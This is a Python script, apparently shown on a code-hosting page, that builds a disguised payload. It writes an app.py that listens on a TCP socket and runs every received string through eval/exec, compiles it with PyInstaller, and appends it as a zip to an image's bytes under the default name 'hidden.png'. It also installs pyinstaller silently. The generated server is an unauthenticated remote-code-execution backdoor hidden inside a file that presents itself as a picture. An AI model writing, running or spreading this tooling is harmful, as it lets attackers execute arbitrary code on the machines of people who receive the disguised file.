software / PYTOIMAGE.py
shethjenil's picture
Update PYTOIMAGE.py
7414e04 verified
raw
history blame
4.08 kB
from tkinter.messagebox import showwarning
from subprocess import Popen , DEVNULL ,PIPE
import sys
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
if not Popen("pip",stderr=PIPE).communicate()[0]:
Popen("pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
else:
showwarning("Pip not found","Python and Pip is required to run this program")
sys.exit()
from subprocess import Popen , DEVNULL
from zipfile import ZipFile , ZIP_DEFLATED
from os import walk , path , remove , getcwd
from shutil import rmtree
from io import BytesIO
from argparse import ArgumentParser
argparse = ArgumentParser()
argparse.add_argument("-c","--console",help="Run as console app",action="store_true")
argparse.add_argument("-f","--folder",help="Folder to package",type=str)
argparse.add_argument("-i","--icon",help="Icon file",type=str)
argparse.add_argument("-o","--output",help="Output file",type=str)
args = argparse.parse_args()
def save_zip(directory1,directory2):
bytes = BytesIO()
zipf = ZipFile(bytes, 'w', ZIP_DEFLATED)
for root, _, files in walk(directory1):
for file in files:
zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory1, '.')))
for root, _, files in walk(directory2):
for file in files:
zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory2, '.')))
zipf.close()
return bytes.getvalue()
def package_app(folderpath: str,iconpath: str,saveappimage: str):
open(rf"{folderpath}\app.py","w+").write("""
import socket
import threading
from argparse import ArgumentParser
import sys
parser = ArgumentParser()
parser.add_argument("-p", "--port", dest="port", type=int, default=12345, help="port to listen on")
parser.add_argument("-a", "--address", dest="address", type=str, default="127.0.0.1", help="address to listen on")
parser.add_argument("-m", "--maximum-connections", dest="max_connections", type=int, default=2, help="maximum number of connections to allow")
args = parser.parse_args()
def run_command(command:str):
try:
result = eval(command)
if result:
return str(result)
else:
return
except SyntaxError:
try:
exec(command)
return
except Exception as e:
return str(e)
except Exception as e:
return str(e)
def handle_client(conn, addr):
while True:
data = conn.recv(1024).decode()
if not data:
break
response = run_command(data)
if data == "exit()":
break
if response:
conn.sendall(response.encode())
else:
conn.sendall("Action performed".encode())
conn.close()
def main():
host = args.address
port = args.port
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(args.max_connections)
while True:
conn, addr = server_socket.accept()
if threading.activeCount() <= 3:
client_thread = threading.Thread(target=handle_client, args=(conn, addr))
client_thread.start()
else:
pass
if __name__ == "__main__":
main()
""")
Popen(["pyinstaller","--noconfirm","--onedir","--console","--name","main","--contents-directory",".","--clean","--disable-windowed-traceback","--runtime-tmpdir",".","--distpath",getcwd(),folderpath+r"\app.py"],stdout=DEVNULL,stderr=DEVNULL).communicate()
rmtree("build")
remove("main.spec")
remove(folderpath+r"\app.py")
open(saveappimage,"wb").write(open(iconpath,"rb").read()+save_zip("main",folderpath))
rmtree("main")
if args.console:
package_app(args.folder,args.icon,args.output)
else:
from tkinter.filedialog import askdirectory , askopenfilename , asksaveasfilename
package_app(askdirectory(),askopenfilename(filetypes=[("Image files",["*.png","*.jpg","*.jpeg"])]),asksaveasfilename(defaultextension=".png",initialfile="hidden.png"))